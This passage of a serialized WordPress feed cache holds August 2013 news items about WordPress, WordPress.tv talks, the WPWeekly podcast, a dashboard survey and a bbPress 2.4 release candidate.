href=\"http://wordpress.org/support/profile/mbiais\">mbias</a>!</p>\n<p>Any thoughts on the new update? Drop a comment here or follow us <a href=\"http://twitter.com/wpandroid\">@WPAndroid</a> to let us know!</p>\n<br />  <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=android.wordpress.org&blog=9426921&post=890&subd=wpandroid&ref=&feed=1\" width=\"1\" height=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 19 Aug 2013 17:43:39 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:3:\"Dan\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:35;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:119:\"WordPress.tv: Константин Ковшенин: Как повысить скорость сайта на WordPress\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21491\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:73:\"http://wordpress.tv/2013/08/19/konstantin-kovshenin-wordpress-site-speed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:732:\"<div id=\"v-P6fXNUXD-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21491/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21491/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21491&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/19/konstantin-kovshenin-wordpress-site-speed/\"><img alt=\"Константин Ковшенин: Как повысить скорость сайта на WordPress\" src=\"http://videos.videopress.com/P6fXNUXD/video-6c23e5b638_scruberthumbnail_82.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 19 Aug 2013 14:31:12 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:36;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:163:\"WordPress.tv: Николай Миронов: Сайт-портфолио на WordPress — эффективный инструмент для фрилансера\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21449\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:67:\"http://wordpress.tv/2013/08/19/nikolay-mironov-wordpress-portfolio/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:742:\"<div id=\"v-xEFsxgWR-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21449/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21449/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21449&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/19/nikolay-mironov-wordpress-portfolio/\"><img alt=\"Сайт-портфолио на WordPress &#8211; эффективный инструмент для фрилансера\" src=\"http://videos.videopress.com/xEFsxgWR/video-d73a104fac_scruberthumbnail_5.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 19 Aug 2013 14:07:41 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:37;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:51:\"WPTavern: WPWeekly Episode 118 – Hey Get Flywheel\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8504\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:99:\"http://feedproxy.google.com/~r/WordpressTavern/~3/lG5qhD0IUwA/wpweekly-episode-118-hey-get-flywheel\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2234:\"<p><img class=\"alignright size-full wp-image-436\" title=\"wordpressweekly1\" alt=\"wordpressweekly1\" src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2009/02/wordpressweekly1.png?resize=120%2C120\" />In this episode, we covered the headlines of the week, most notable is the open letter published to the NextGen Gallery community. Most of the show was dedicated to an interview with Dusty Davidson of <a title=\"http://getflywheel.com/\" href=\"http://getflywheel.com/\">Flywheel.com</a>, a WordPress hosting company catering to designers, freelancers, and creative agencies. What does that all mean? You&#8217;ll have to tune in to figure it out.</p>\n<h2>Stories Discussed:</h2>\n<p><a title=\"http://www.wptavern.com/the-return-of-wordpress-weekly\" href=\"http://www.wptavern.com/the-return-of-wordpress-weekly\">The Return Of WordPress Weekly</a><br />\n<a title=\"http://www.wptavern.com/survey-how-do-you-use-the-dashboard\" href=\"http://www.wptavern.com/survey-how-do-you-use-the-dashboard\">How Do You Use The Dashboard?</a><br />\n<a title=\"http://www.wptavern.com/nextgen-gallery-creator-publishes-open-letter\" href=\"http://www.wptavern.com/nextgen-gallery-creator-publishes-open-letter\">NextGEN Gallery Publishes Open Letter To Their Community</a><br />\n<a title=\"http://www.wptavern.com/ill-be-at-wordcamp-grand-rapids-2013\" href=\"http://www.wptavern.com/ill-be-at-wordcamp-grand-rapids-2013\">I’ll Be At WordCamp Grand Rapids 2013</a><br />\n<a title=\"http://www.wptavern.com/revamping-the-content-creation-experience-in-wordpress\" href=\"http://www.wptavern.com/revamping-the-content-creation-experience-in-wordpress\">Revamping The Content Creation Experience In WordPress</a><br />\n<a href=\"http://jobs.wordpress.net/\" title=\"http://jobs.wordpress.net/\">WordPress Jobs Board Gets A Facelift</a></p>\n<h2>WPWeekly Meta:</h2>\n<p><strong>Length Of Episode:</strong> 1 Hour 13 Minutes</p>\n<p><strong>Download The Show:</strong> <a href=\"http://recordings.talkshoe.com/TC-34224/TS-776534.mp3\" title=\"http://recordings.talkshoe.com/TC-34224/TS-776534.mp3\">Download Episode 118</a></p>\n<p><strong>Listen To Episode #118:</strong><br />\n</p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/lG5qhD0IUwA\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Sat, 17 Aug 2013 06:01:31 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:38;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:71:\"WordPress.tv: Nikolay Bachiyski: Writing Code as User Experience Design\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=20996\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:88:\"http://wordpress.tv/2013/08/15/nikolay-bachiyski-writing-code-as-user-experience-design/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:694:\"<div id=\"v-IvRCRZ1m-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/20996/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/20996/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=20996&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/15/nikolay-bachiyski-writing-code-as-user-experience-design/\"><img alt=\"Nikolay Bachiyski: Writing Code as User Experience Design\" src=\"http://videos.videopress.com/IvRCRZ1m/01-bachiyski_scruberthumbnail_0.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 16 Aug 2013 04:51:10 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:39;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"WordPress.tv: George Stephanis: The Seven Deadly Theming Sins\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21380\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:78:\"http://wordpress.tv/2013/08/15/george-stephanis-the-seven-deadly-theming-sins/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:672:\"<div id=\"v-KSRX3jPw-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21380/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21380/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21380&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/15/george-stephanis-the-seven-deadly-theming-sins/\"><img alt=\"George Stephanis: The Seven Deadly Theming Sins\" src=\"http://videos.videopress.com/KSRX3jPw/video-acbaa5e497_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 15 Aug 2013 22:24:43 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:40;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:40:\"WPTavern: The Return Of WordPress Weekly\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8493\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:92:\"http://feedproxy.google.com/~r/WordpressTavern/~3/HvlU1KguFpY/the-return-of-wordpress-weekly\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2888:\"<p><a href=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2009/02/wordpressweekly1.png\" rel=\"thumbnail\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2009/02/wordpressweekly1.png?resize=120%2C120\" alt=\"WordPress Weekly Logo\" class=\"alignright size-full wp-image-436\" /></a>Beginning this <strong>Friday at 9P.M. Eastern</strong>, I&#8217;ll be back behind the microphone providing you with the news of the week around the WordPress ecosystem. I&#8217;ll also be interviewing some of the smartest people in the WordPress community that are making things happen. Unlike the previous episodes which were all <a href=\"http://tinyurl.com/wpweekly\" title=\"http://tinyurl.com/wpweekly\">conducted on Talkshoe.com</a>, these will be recorded live via Google Hangout. I&#8217;m not so much interested in the video portion of the show as I am the audio. I&#8217;ve reconfigured the <a href=\"http://www.wptavern.com/wordpress-weekly\" title=\"http://www.wptavern.com/wordpress-weekly\">Podcast page</a> so that folks can chat and listen/watch the show on the website. Thanks to using Google Hangout, the audio quality should be better for everyone participating on the show. I decoded to use the embeddable IRC client via Freenode to power the chatroom as it gives users the chance to use their favorite client, is not powered by flash, and updates in real-time. The only downside is the captcha on the form which I can&#8217;t do anything about but I haven&#8217;t come across any images that were impossible to read. </p>\n<p>This weeks episode will feature an interview with the folks behind WordPress hosting company <a href=\"http://getflywheel.com/\" title=\"http://getflywheel.com/\">Flywheel</a>. We&#8217;ll talk about their beta process, what is it they are trying to accomplish and how their service is different from the large amount of competition that already exists in the managed WP hosting market. If you have any questions you&#8217;d like me to ask, just leave them in the comments and I&#8217;ll add them to my list.</p>\n<p>One thing I&#8217;m still unsure of is how I&#8217;m going to continue using the iTunes feed that was hooked up to Talkshoe or if I should start a brand new one from scratch. I need to find out if I can upload MP3 files to a specific iTunes link without needing the file to go through Talkshoe. I may end up using the <a href=\"http://wordpress.org/plugins/powerpress/\" title=\"http://wordpress.org/plugins/powerpress/\">Blubrry PowerPress</a> plugin to automate the process of sending the podcast to iTunes. </p>\n<p>Next Friday there will not be a live show as I&#8217;ll be in Grand Rapids, Michigan for WordCamp. However, I&#8217;m already lining up guests for August 30th and beyond. I&#8217;m looking forward to talking WordPress again. </p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/HvlU1KguFpY\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 15 Aug 2013 17:50:26 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:41;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:50:\"WPTavern: Survey – How Do You Use The Dashboard?\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8440\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:97:\"http://feedproxy.google.com/~r/WordpressTavern/~3/QjrBY23HiVQ/survey-how-do-you-use-the-dashboard\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2353:\"<p>Amidst all of the conversation taking place on improving the WordPress back-end user interface, there is now a <a title=\"http://wp-survey.polldaddy.com/s/wp-dashboard-questionnaire\" href=\"http://wp-survey.polldaddy.com/s/wp-dashboard-questionnaire\">public survey</a> you are encouraged to participate in that will help determine how people use the dashboard and where improvements need to take place. The survey is only 5 questions long but should provide enough information to determine a direction of travel for improvements. For a moment, let&#8217;s take a look at the proposed dashboard for the Ghost platform.</p>\n<div id=\"attachment_8456\" class=\"wp-caption aligncenter\"><a href=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/TryGhostDashboard.jpg\" rel=\"thumbnail\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/TryGhostDashboard.jpg?resize=500%2C321\" alt=\"Try Ghost Dashboard\" class=\"size-large wp-image-8456\" /></a><p class=\"wp-caption-text\">Preview Of The Proposed Ghost Dashboard</p></div>\n<p>I think a few people, including myself became enamored over the dashboard concept for Ghost but upon looking at it more closely, it&#8217;s just a bunch of numbers in my face. Hard to judge something I haven&#8217;t been able to play around with but it was nice to see a refreshing take on the entire dashboard concept. In the WordPress Dashboard Survey, I was reminded just how much I don&#8217;t use the Dashboard for anything other than getting at-a-glance information. I also realized that if the  <strong>Right Now</strong> meta box included information from some other dashboard widgets like recent comments, recent drafts, etc, that the Right Now box would be more beneficial to me and provide less widgets to be displayed on the screen at one time. </p>\n<p>I&#8217;m opening up the conversation by asking what is it that would make the dashboard super useful for you? There is an intricate balance that needs to be observed on the type and amount of data that is shown to the user before it becomes information overload or just a bunch of numbers in front of the users face. There is also the problem of creating a dashboard that&#8217;s useful to everyone, not just specific use cases of WordPress.</p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/QjrBY23HiVQ\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 15 Aug 2013 15:20:55 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:42;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"bbPress: bbPress 2.4 – Release Candidate 1\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://bbpress.org/?p=135968\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:64:\"http://bbpress.org/blog/2013/08/bbpress-2-4-release-candidate-1/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:1209:\"<p>Today the bbPress team is happy to tell you about <a href=\"http://downloads.wordpress.org/plugin/bbpress.zip\">bbPress 2.4, release candidate 1</a>.</p>\n<p>bbPress 2.4 introduces hierarchical replies, allowing you to pick between paginated topics or a hierarchy (similar to WordPress&#8217;s comments.) There are a few smaller improvements all around, including: pretty URL&#8217;s for search results pages, code posting, an Akismet admin UI, BuddyPress Group Forum integration, general query improvements, PHP 5.4 E_STRICT notices, theme compatibility, author metaboxes, some settings API changes, <a href=\"http://bbpress.trac.wordpress.org/query?group=status&milestone=2.4\">and more</a>!</p>\n<p>Please give <a href=\"http://downloads.wordpress.org/plugin/bbpress.zip\">bbPress 2.4 RC 1</a> a try a test site &#8212; or wherever you feel comfortable running it &#8212; and <a href=\"http://bbpress.trac.wordpress.org\">let us know if you run into any issues</a>. If all goes well, we&#8217;re going to release 2.4 next week.</p>\n<p>(Don&#8217;t forget&#8230; to get easy access to pre-releases, install the <a href=\"http://wordpress.org/extend/plugins/bbpress-beta-tester/\">bbPress Beta Tester</a> plugin.)</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 15 Aug 2013 01:06:39 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:17:\"John James Jacoby\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:43;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"WPTavern: NextGEN Gallery Creator Publishes Open Letter\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8444\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:107:\"http://feedproxy.google.com/~r/WordpressTavern/~3/8prZ5wa1bCw/nextgen-gallery-creator-publishes-open-letter\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3808:\"<p><a href=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/Screen-Shot-2013-08-14-at-4.46.36-PM.png\" rel=\"thumbnail\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/Screen-Shot-2013-08-14-at-4.46.36-PM.png?resize=300%2C101\" alt=\"NextGen Gallery Logo\" class=\"alignright size-medium wp-image-8449\" /></a>NextGEN Gallery is one of the most popular WordPress plugins in the repository and has been for a long time. The last time I checked, it was closing in on over 8 million downloads. However, the latest release of the 